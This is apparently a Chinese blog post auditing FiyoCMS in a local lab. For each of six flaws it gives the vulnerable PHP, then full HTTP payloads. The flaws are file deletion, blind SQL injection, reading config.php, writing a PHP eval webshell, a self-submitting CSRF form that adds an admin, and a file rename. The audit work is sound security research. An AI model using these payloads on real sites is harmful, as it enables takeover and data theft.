记录fiyocms审计过程以及漏洞分析
全局分析
该CMS的核心分析页面是在/dapur/index.php中,这是一个管理员的后台管理页面,首先需要以管理的身份进行登录,登录后,我们可以发现,访问其中很多具体管理页面,都是通过GET方式向服务器提交参数,如添加用户功能,提交的是app参数和act参数,那么我们在Seay审计系统中通过全局搜索功能搜索关键参数app,观察是哪个具体的文件接收了这个参数
可以看出,/dapur/system/apps.php文件接收了app参数,于是跟进该文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| if(!empty($app)){ if(!file_exists("apps/app_$app/app_$app.php")) { function sysAdminApps() { htmlRedirect('../'.siteConfig('backend_folder')); } function loadAdminApps() { } } else { function sysAdminApps() { $app=$_REQUEST['app']; baseSystem($app); } function loadAdminApps() { $app=$_REQUEST['app']; baseApps("app_".$app); } } }
|
当接收到app参数时,做出判断apps/app_$app/app_$app.php文件是否存在,如果存在定义两个方法:sysAdminApps()和loadAdminApps(),其中又调用了baseSystem()和baseApps()方法,我们继续搜索这两个方法的出处
1 2 3 4 5 6 7 8
| function baseApps($file){ require ("apps/$file/$file.php"); }
function baseSystem($file){ $file = "apps/app_$file/sys_$file.php"; if(file_exists($file)) include($file); }
|
可以这两个方法发现包含了两个关键性文件,所以,管理界面每个功能都包含了两个关键文件,例如添加用户功能($app=user),那么就有两个关键文件:apps/app_user/app_user.php和apps/app_user/sys_user.php需要我们去关注
漏洞分析
任意文件删除
位置
/dapur/apps/app_config/controller/backuper.php 第16-30行
分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| if($_POST['type'] == 'database') { @unlink("../../../../.backup/$_POST[file]"); if(!file_exists('../../../../.backup')) mkdir('../../../../.backup'); $date = md5(date("Ymd:His")); $file = "db-backup-$date"; $c = backup_tables("*",'../../../../.backup',"$file",true); if($c) { $size = format_size(filesize("../../../../.backup/$file.sql")); $time = date("Y/m/d H:i:s",filemtime("../../../../.backup/$file.sql")); $r = "$size - $time"; echo "{ \"file\":\"$file.sql\" , \"info\":\"$r\" }"; } }
|
其实这个文件存在非常多这个问题,通过POST传递的参数file没有经过任何处理就拼接进unlink函数进行文件删除操作
复现
在网站根目录下建立demo.php文件
攻击payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| POST /dapur/apps/app_config/controller/backuper.php HTTP/1.1 Host: 127.0.0.1 Content-Length: 65 Accept: */* Origin: http://127.0.0.1 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: http://127.0.0.1/dapur/index.php?app=config&view=backup Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=adad7183ca248a9be539f0a153ce72f8; bdshare_firstime=1551059496947 Connection: close
type=database&file=../demo.php
|
demo.php被删除
SQL注入漏洞
位置
/system/database.php 第210-233行
分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| public function update($table,$rows,$where) { $update = 'UPDATE '.$table.' SET '; $keys = array_keys($rows); for($i = 0; $i < count($rows); $i++){ if(is_string($rows[$keys[$i]]) AND $rows[$keys[$i]] !== '+hits') { $update .= $keys[$i].'="'.$rows[$keys[$i]].'"'; } else { if($rows[$keys[$i]] == '+hits') $rows[$keys[$i]] = $keys[$i] . '+'. 1; $update .= $keys[$i].'='.$rows[$keys[$i]]; }
if($i != count($rows)-1) { $update .= ','; } } $update .= ' WHERE '.$where;
|
可以看到这里update语句中的where条件是通过直接拼接参数$where而成的,猜测可能通过$where参数构成sql注入,我们随便找一个带有update方法的实例,如/dapur/apps/app_user/controller.php
1 2 3 4 5
| if(isset($_GET['stat'])) { if($_GET['stat']=='1'){ $db->update(FDBPrefix.'user',array("status"=>"1"),'id='.$_GET['id']); alert('success',Status_Applied,1); }
|
我们可以通过GET方式构造id参数构成SQL注入攻击
复现
payload如下:
1 2 3 4 5 6 7 8 9 10
| GET /dapur/apps/app_user/controller/status.php?stat=1&id=1%20and%20if(ascii(substr(database(),1,1))=102,sleep(3),1) HTTP/1.1 Host: 127.0.0.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=adad7183ca248a9be539f0a153ce72f8; bdshare_firstime=1551059496947 Connection: close
|
成功造成延时注入
当然,delete方法也同样存在这个问题,就不赘述了
文件读取漏洞
位置
/dapur/apps/app_theme/libs/check_file.php 第13-26行
分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| $file = $url= "$_GET[src]/$_GET[name]"; $furl = "../../../$url";
$content = strlen("$file") - 5; $content = substr("$file",$content); $file = strpos("$content","."); $file = substr("$content",$file+1);
if($file == "html" || $file == "htm" || $file == "xhtml" || $file == "js" || $file == "jsp" || $file == "php" || $file == "css" || $file == "xml" ) : $content = @file_get_contents($furl); $content = htmlentities($content);
?>
|
审计可知,当$file后缀名为指定文件后缀时,通过file_get_contents函数进行文件读取功能,而参数$furl是通过GET方式传入的参数src和name拼接而成的,这就构成了任意文件读取漏洞
复现
Payload如下:
1 2 3 4 5 6 7 8 9 10
| GET /dapur/apps/app_theme/libs/check_file.php?src=..&name=config.php HTTP/1.1 Host: 127.0.0.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=adad7183ca248a9be539f0a153ce72f8; bdshare_firstime=1551059496947 Connection: close
|
读取的是网站根目录下的config.php文件,结果如下图所示
文件上传漏洞
位置
/dapur/apps/app_theme/libs/save_file.php 第23-27行
分析
1 2 3
| $c = $_POST["content"]; $f = $_POST["src"]; $w = file_put_contents($f,$c);
|
显而易见没有过滤参数就拼接在file_put_contents函数中,构成文件上传漏洞
复现
Payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| POST /dapur/apps/app_theme/libs/save_file.php HTTP/1.1 Host: 127.0.0.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=adad7183ca248a9be539f0a153ce72f8; bdshare_firstime=1551059496947 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 62
src=../../../../demo.php&content=<?php eval($_POST['cmd']); ?>
|
在网站根目录下上传一个文件名为demo.php的一句话木马文件,结果如下图
成功上传一句话木马文件
CSRF添加超级用户
位置
/dapur/apps/app_user/sys_user.php 第110-123行
分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| if(isset($_POST['save']) or isset($_POST['apply'])){ $us=strlen("$_POST[user]"); $ps=strlen("$_POST[password]"); $user = $_POST['user']; $name = $_POST['name']; preg_match('/[^a-zA-Z0-9]+/', $user, $matches); if(!empty($_POST['password']) AND !empty($_POST['user'])AND !empty($_POST['name'])AND !empty($_POST['email'])AND !empty($_POST['level'])AND $_POST['password']==$_POST['kpassword'] AND $us>2 AND $ps>3 AND @ereg("^.+@.+\\..+$",$_POST['email']) AND !$matches) { $qr=$db->insert(FDBPrefix.'user',array("","$user","$name",MD5("$_POST[password]"),"$_POST[email]","$_POST[status]","$_POST[level]",date('Y-m-d H:i:s'),'',"$_POST[bio]"));
|
这是一个添加用户的程序,但是没有加入token验证,所以可以造成CSRF攻击,添加超级用户
复现
我们先抓取添加用户的包,确定需要提交的参数,抓包结果如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| POST /dapur/?app=user&act=add HTTP/1.1 Host: 127.0.0.1 Content-Length: 124 Cache-Control: max-age=0 Origin: http://127.0.0.1 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Referer: http://127.0.0.1/dapur/?app=user&act=add Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=adad7183ca248a9be539f0a153ce72f8; bdshare_firstime=1551059496947 Connection: close
apply=Next&id=&z=&user=test02&z=&x=&password=test02&kpassword=test02&email=123%4012345.com&level=1&name=test02&status=1&bio=
|
构造好的用于建立超级用户的网页代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <html> <body> <form name="csrf" action="http://127.0.0.1/dapur/?app=user&act=add" method="post"> <input type="hidden" name="apply" value="Next"> <input type="hidden" name="id" value=""> <input type="hidden" name="z" value=""> <input type="hidden" name="user" value="test66"> <input type="hidden" name="z" value=""> <input type="hidden" name="x" value=""> <input type="hidden" name="password" value="test66"> <input type="hidden" name="kpassword" value="test66"> <input type="hidden" name="email" value="123@12345.com"> <input type="hidden" name="level" value="1"> <input type="hidden" name="name" value="test66"> <input type="hidden" name="status" value="1"> <input type="hidden" name="bio" value=""> </form>
<script type="text/javascript"> document.csrf.submit(); </script>
</body> </html>
|
用户访问https://127.0.0.1/demo.html,就会立即生成test66的超级用户
任意文件修改漏洞
位置
/dapur/apps/app_config/sys_config.php 第190-193行
分析
1 2 3 4
| $new_folder = $_POST['folder_new']; $old_folder = $_POST['folder_old']; if($old_folder != $new_folder) { $ok = @rename("../$old_folder","../$new_folder");
|
对POST传递的参数folder_new和folder_old未进行过滤拼接至rename函数进行文件名修改操作
复现
Payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| POST /dapur/?app=config HTTP/1.1 Host: 127.0.0.1 Content-Length: 517 Cache-Control: max-age=0 Origin: http://127.0.0.1 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Referer: http://127.0.0.1/dapur/?app=config Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=adad7183ca248a9be539f0a153ce72f8; bdshare_firstime=1551059496947 Connection: close
config_save=Simpan&site_name=fiyocms&title=Fast%2C+Save+%26+Elegant%21&url=localhost&mail=your%40site.net&folder_new=config.txt&folder_old=config.php&status=1&meta_keys=keyword+1%2C+keyword+two%2C+3rd+key&meta_desc=&sef=1&https=0&www=1&follow_link=1&title_type=1&title_divider=+-+&sef_ext=.html&name=fiyocms&member_registration=1&member_activation=2&member_group=5&file_allowed=swf+flv+avi+mpg+mpeg+qt+mov+wmv+asf+rm+rar+zip+exe+msi+iso&disk_space=500&file_size=5120&media_theme=oxygen&lang=id&timezone=Asia%2FJakarta
|
将网站根目录config.php文件修改成config.txt文件
直接可以查看网站的配置信息
后记
该CMS存在大多的问题都是由于未对用户提交的参数进行过滤处理,导致一系列的漏洞发生,本次审计漏洞难度较简单,网站结构相对于zzcms较为复杂,还需要多加实践增加审计的经验